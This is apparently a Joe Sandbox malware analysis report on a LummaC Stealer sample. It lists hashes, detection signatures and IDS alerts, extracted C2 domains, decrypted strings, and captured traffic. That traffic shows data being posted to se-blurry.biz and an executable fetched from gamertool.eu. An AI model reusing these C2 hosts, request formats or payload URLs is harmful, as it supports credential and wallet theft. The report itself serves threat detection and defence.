Edit tour

Windows Analysis Report
SC3sPWT51E.exe

Overview

General Information

Sample name:	SC3sPWT51E.exe renamed because original name is a hash value
Original sample name:	7cb559130bbd743d4cdb0891749c5643.exe
Analysis ID:	1572177
MD5:	7cb559130bbd743d4cdb0891749c5643
SHA1:	7e8cb60118a778a23fe6215c790ace9f730e87fb
SHA256:	08c071698f610c4b2ad9a8c18ffac37b4db9728cff608eb92e7c0728ee5a2482
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Creates HTML files with .exe extension (expired dropper behavior)

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Detected potential crypto function

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

SC3sPWT51E.exe (PID: 5740 cmdline: "C:\Users\user\Desktop\SC3sPWT51E.exe" MD5: 7CB559130BBD743D4CDB0891749C5643)

conhost.exe (PID: 3260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": ["formy-spill.biz", "dare-curbys.biz", "print-vexer.biz", "se-blurry.biz", "covery-mover.biz", "dwell-exclaim.biz", "zinc-sneark.biz", "impend-differ.biz"], "Build id": "H8NgCl--"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: SC3sPWT51E.exe PID: 5740	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T07:47:50.565536+0100	2028371	3	Unknown Traffic	192.168.2.6	49714	172.67.162.65	443	TCP
2024-12-10T07:47:52.676605+0100	2028371	3	Unknown Traffic	192.168.2.6	49715	172.67.162.65	443	TCP
2024-12-10T07:47:55.314765+0100	2028371	3	Unknown Traffic	192.168.2.6	49726	172.67.162.65	443	TCP
2024-12-10T07:47:57.830374+0100	2028371	3	Unknown Traffic	192.168.2.6	49733	172.67.162.65	443	TCP
2024-12-10T07:48:00.400807+0100	2028371	3	Unknown Traffic	192.168.2.6	49739	172.67.162.65	443	TCP
2024-12-10T07:48:03.854690+0100	2028371	3	Unknown Traffic	192.168.2.6	49750	172.67.162.65	443	TCP
2024-12-10T07:48:06.641874+0100	2028371	3	Unknown Traffic	192.168.2.6	49757	172.67.162.65	443	TCP
2024-12-10T07:48:10.137703+0100	2028371	3	Unknown Traffic	192.168.2.6	49771	172.67.162.65	443	TCP
2024-12-10T07:48:12.494692+0100	2028371	3	Unknown Traffic	192.168.2.6	49778	172.67.161.29	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T07:47:51.395004+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49714	172.67.162.65	443	TCP
2024-12-10T07:47:53.700164+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49715	172.67.162.65	443	TCP
2024-12-10T07:48:10.941515+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49771	172.67.162.65	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T07:47:51.395004+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49714	172.67.162.65	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T07:47:53.700164+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49715	172.67.162.65	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T07:47:50.565536+0100	2057984	1	Domain Observed Used for C2 Detected	192.168.2.6	49714	172.67.162.65	443	TCP
2024-12-10T07:47:52.676605+0100	2057984	1	Domain Observed Used for C2 Detected	192.168.2.6	49715	172.67.162.65	443	TCP
2024-12-10T07:47:55.314765+0100	2057984	1	Domain Observed Used for C2 Detected	192.168.2.6	49726	172.67.162.65	443	TCP
2024-12-10T07:47:57.830374+0100	2057984	1	Domain Observed Used for C2 Detected	192.168.2.6	49733	172.67.162.65	443	TCP
2024-12-10T07:48:00.400807+0100	2057984	1	Domain Observed Used for C2 Detected	192.168.2.6	49739	172.67.162.65	443	TCP
2024-12-10T07:48:03.854690+0100	2057984	1	Domain Observed Used for C2 Detected	192.168.2.6	49750	172.67.162.65	443	TCP
2024-12-10T07:48:06.641874+0100	2057984	1	Domain Observed Used for C2 Detected	192.168.2.6	49757	172.67.162.65	443	TCP
2024-12-10T07:48:10.137703+0100	2057984	1	Domain Observed Used for C2 Detected	192.168.2.6	49771	172.67.162.65	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T07:47:48.893770+0100	2057969	1	Domain Observed Used for C2 Detected	192.168.2.6	62137	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T07:47:49.128176+0100	2057983	1	Domain Observed Used for C2 Detected	192.168.2.6	54284	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T07:48:04.584027+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49750	172.67.162.65	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T07:48:06.649588+0100	2843864	1	A Network Trojan was detected	192.168.2.6	49757	172.67.162.65	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: impend-differ.biz	URL Reputation: Label: malware
Source: https://gamertool.eu:443/LKSM.exe	Avira URL Cloud: Label: malware
Source: https://se-blurry.biz/	Avira URL Cloud: Label: malware
Source: https://se-blurry.biz/api	Avira URL Cloud: Label: malware
Source: https://gamertool.eu/LKSM.exe	Avira URL Cloud: Label: malware
Source: https://se-blurry.biz/t	Avira URL Cloud: Label: malware
Source: https://se-blurry.biz/apie	Avira URL Cloud: Label: malware
Source: https://se-blurry.biz:443/api	Avira URL Cloud: Label: malware
Source: https://se-blurry.biz/apic	Avira URL Cloud: Label: malware
Source: https://se-blurry.biz/apiv	Avira URL Cloud: Label: malware
Source: https://se-blurry.biz/apiY	Avira URL Cloud: Label: malware
Source: https://se-blurry.biz/??	Avira URL Cloud: Label: malware
Source: https://se-blurry.biz/apiO	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000002.2500506699.0000000000E8E000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["formy-spill.biz", "dare-curbys.biz", "print-vexer.biz", "se-blurry.biz", "covery-mover.biz", "dwell-exclaim.biz", "zinc-sneark.biz", "impend-differ.biz"], "Build id": "H8NgCl--"}

Multi AV Scanner detection for submitted file

Source: SC3sPWT51E.exe	ReversingLabs: Detection: 60%
Source: SC3sPWT51E.exe	Virustotal: Detection: 50%			Perma Link

Machine Learning detection for sample

Source: SC3sPWT51E.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000003.2195274360.0000000000E01000.00000004.00000020.00020000.00000000.sdmp	String decryptor: impend-differ.biz
Source: 00000000.00000003.2195274360.0000000000E01000.00000004.00000020.00020000.00000000.sdmp	String decryptor: print-vexer.biz
Source: 00000000.00000003.2195274360.0000000000E01000.00000004.00000020.00020000.00000000.sdmp	String decryptor: dare-curbys.biz
Source: 00000000.00000003.2195274360.0000000000E01000.00000004.00000020.00020000.00000000.sdmp	String decryptor: covery-mover.biz
Source: 00000000.00000003.2195274360.0000000000E01000.00000004.00000020.00020000.00000000.sdmp	String decryptor: formy-spill.biz
Source: 00000000.00000003.2195274360.0000000000E01000.00000004.00000020.00020000.00000000.sdmp	String decryptor: dwell-exclaim.biz
Source: 00000000.00000003.2195274360.0000000000E01000.00000004.00000020.00020000.00000000.sdmp	String decryptor: zinc-sneark.biz
Source: 00000000.00000003.2195274360.0000000000E01000.00000004.00000020.00020000.00000000.sdmp	String decryptor: se-blurry.biz
Source: 00000000.00000003.2195274360.0000000000E01000.00000004.00000020.00020000.00000000.sdmp	String decryptor: impend-differ.biz
Source: 00000000.00000003.2195274360.0000000000E01000.00000004.00000020.00020000.00000000.sdmp	String decryptor: impend-differ.biz
Source: 00000000.00000003.2195274360.0000000000E01000.00000004.00000020.00020000.00000000.sdmp	String decryptor: print-vexer.biz
Source: 00000000.00000003.2195274360.0000000000E01000.00000004.00000020.00020000.00000000.sdmp	String decryptor: dare-curbys.biz
Source: 00000000.00000003.2195274360.0000000000E01000.00000004.00000020.00020000.00000000.sdmp	String decryptor: covery-mover.biz
Source: 00000000.00000003.2195274360.0000000000E01000.00000004.00000020.00020000.00000000.sdmp	String decryptor: formy-spill.biz
Source: 00000000.00000003.2195274360.0000000000E01000.00000004.00000020.00020000.00000000.sdmp	String decryptor: dwell-exclaim.biz
Source: 00000000.00000003.2195274360.0000000000E01000.00000004.00000020.00020000.00000000.sdmp	String decryptor: zinc-sneark.biz
Source: 00000000.00000003.2195274360.0000000000E01000.00000004.00000020.00020000.00000000.sdmp	String decryptor: se-blurry.biz
Source: 00000000.00000003.2195274360.0000000000E01000.00000004.00000020.00020000.00000000.sdmp	String decryptor: impend-differ.biz
Source: 00000000.00000003.2195274360.0000000000E01000.00000004.00000020.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000003.2195274360.0000000000E01000.00000004.00000020.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000003.2195274360.0000000000E01000.00000004.00000020.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000003.2195274360.0000000000E01000.00000004.00000020.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000003.2195274360.0000000000E01000.00000004.00000020.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000003.2195274360.0000000000E01000.00000004.00000020.00020000.00000000.sdmp	String decryptor: H8NgCl--

Source: SC3sPWT51E.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.162.65:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.65:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.65:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.65:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.65:443 -> 192.168.2.6:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.65:443 -> 192.168.2.6:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.65:443 -> 192.168.2.6:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.65:443 -> 192.168.2.6:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.161.29:443 -> 192.168.2.6:49778 version: TLS 1.2

Source: SC3sPWT51E.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057935 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz) : 192.168.2.6:62137 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057969 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz) : 192.168.2.6:62137 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057945 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz) : 192.168.2.6:54284 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057983 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz) : 192.168.2.6:54284 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057946 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI) : 192.168.2.6:49714 -> 172.67.162.65:443
Source: Network traffic	Suricata IDS: 2057984 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI) : 192.168.2.6:49714 -> 172.67.162.65:443
Source: Network traffic	Suricata IDS: 2057946 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI) : 192.168.2.6:49715 -> 172.67.162.65:443
Source: Network traffic	Suricata IDS: 2057984 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI) : 192.168.2.6:49715 -> 172.67.162.65:443
Source: Network traffic	Suricata IDS: 2057946 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI) : 192.168.2.6:49726 -> 172.67.162.65:443
Source: Network traffic	Suricata IDS: 2057984 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI) : 192.168.2.6:49726 -> 172.67.162.65:443
Source: Network traffic	Suricata IDS: 2057946 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI) : 192.168.2.6:49733 -> 172.67.162.65:443
Source: Network traffic	Suricata IDS: 2057984 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI) : 192.168.2.6:49733 -> 172.67.162.65:443
Source: Network traffic	Suricata IDS: 2057946 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI) : 192.168.2.6:49739 -> 172.67.162.65:443
Source: Network traffic	Suricata IDS: 2057984 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI) : 192.168.2.6:49739 -> 172.67.162.65:443
Source: Network traffic	Suricata IDS: 2057946 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI) : 192.168.2.6:49757 -> 172.67.162.65:443
Source: Network traffic	Suricata IDS: 2057984 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI) : 192.168.2.6:49757 -> 172.67.162.65:443
Source: Network traffic	Suricata IDS: 2057946 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI) : 192.168.2.6:49771 -> 172.67.162.65:443
Source: Network traffic	Suricata IDS: 2057946 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI) : 192.168.2.6:49750 -> 172.67.162.65:443
Source: Network traffic	Suricata IDS: 2057984 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI) : 192.168.2.6:49750 -> 172.67.162.65:443
Source: Network traffic	Suricata IDS: 2057984 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (se-blurry .biz in TLS SNI) : 192.168.2.6:49771 -> 172.67.162.65:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49714 -> 172.67.162.65:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49750 -> 172.67.162.65:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49714 -> 172.67.162.65:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49771 -> 172.67.162.65:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49715 -> 172.67.162.65:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49715 -> 172.67.162.65:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.6:49757 -> 172.67.162.65:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: formy-spill.biz
Source: Malware configuration extractor	URLs: dare-curbys.biz
Source: Malware configuration extractor	URLs: print-vexer.biz
Source: Malware configuration extractor	URLs: se-blurry.biz
Source: Malware configuration extractor	URLs: covery-mover.biz
Source: Malware configuration extractor	URLs: dwell-exclaim.biz
Source: Malware configuration extractor	URLs: zinc-sneark.biz
Source: Malware configuration extractor	URLs: impend-differ.biz

Creates HTML files with .exe extension (expired dropper behavior)

Source: C:\Users\user\Desktop\SC3sPWT51E.exe

File created: IYMX3DP1MKU29JHQR34PWXTNMKFL8CK.exe.0.dr

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49714 -> 172.67.162.65:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49715 -> 172.67.162.65:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49726 -> 172.67.162.65:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49733 -> 172.67.162.65:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49739 -> 172.67.162.65:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49757 -> 172.67.162.65:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49750 -> 172.67.162.65:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49778 -> 172.67.161.29:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49771 -> 172.67.162.65:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: se-blurry.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 42Host: se-blurry.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=I8LYVK6944VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12812Host: se-blurry.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=IK4PY5RBDA895U7WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15088Host: se-blurry.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=COETMP7994User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19910Host: se-blurry.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SZHOKONHOBJQHO4QLL7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1234Host: se-blurry.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=JGP2WTYKICBP24EK9QMUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 586863Host: se-blurry.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 77Host: se-blurry.biz
Source: global traffic	HTTP traffic detected: GET /LKSM.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: gamertool.eu

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /LKSM.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: gamertool.eu

Source: global traffic	DNS traffic detected: DNS query: impend-differ.biz
Source: global traffic	DNS traffic detected: DNS query: se-blurry.biz
Source: global traffic	DNS traffic detected: DNS query: gamertool.eu

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: se-blurry.biz

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 10 Dec 2024 06:48:13 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeX-Content-Type-Options: nosniffCache-Control: max-age=120CF-Cache-Status: EXPIREDReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fI9n5jHL0rtKVwcvxoPnEb2hbDhMjURHuf5WeEExpVVdxs7nK8TfSnj7%2BQ49Dya7OLnaOn8YXYTeZRLDJ9u6Q9PQQHVeJfIL7MRCyoNJInS3DBU8Bw5MvH7gUJFcQmM%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8efb49b7cfd7440c-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1581&min_rtt=1579&rtt_var=597&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2827&recv_bytes=809&delivery_rate=1825000&cwnd=252&unsent_bytes=0&cid=1dbfda9eece66905&ts=729&x=0"

Source: SC3sPWT51E.exe, 00000000.00000003.2298917715.0000000003FCD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: SC3sPWT51E.exe, 00000000.00000003.2298917715.0000000003FCD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: SC3sPWT51E.exe, 00000000.00000003.2298917715.0000000003FCD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: SC3sPWT51E.exe, 00000000.00000003.2298917715.0000000003FCD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: SC3sPWT51E.exe, 00000000.00000003.2298917715.0000000003FCD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: SC3sPWT51E.exe, 00000000.00000003.2298917715.0000000003FCD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: SC3sPWT51E.exe, 00000000.00000003.2298917715.0000000003FCD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: SC3sPWT51E.exe, 00000000.00000003.2298917715.0000000003FCD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: SC3sPWT51E.exe, 00000000.00000003.2298917715.0000000003FCD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Amcache.hve.0.dr	String found in binary or memory: http://upx.sf.net
Source: SC3sPWT51E.exe, 00000000.00000003.2298917715.0000000003FCD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: SC3sPWT51E.exe, 00000000.00000003.2298917715.0000000003FCD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: SC3sPWT51E.exe, 00000000.00000003.2248421895.0000000003F0B000.00000004.00000800.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2248506046.0000000003F09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: SC3sPWT51E.exe, 00000000.00000003.2300256938.0000000003F59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: SC3sPWT51E.exe, 00000000.00000003.2300256938.0000000003F59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: SC3sPWT51E.exe, 00000000.00000003.2248421895.0000000003F0B000.00000004.00000800.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2248506046.0000000003F09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: SC3sPWT51E.exe, 00000000.00000003.2248421895.0000000003F0B000.00000004.00000800.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2248506046.0000000003F09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: SC3sPWT51E.exe, 00000000.00000003.2248421895.0000000003F0B000.00000004.00000800.00020000.00000000.sdmp, SC3sPWT51E.exe, 00000000.00000003.2248506046.0000000003F09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
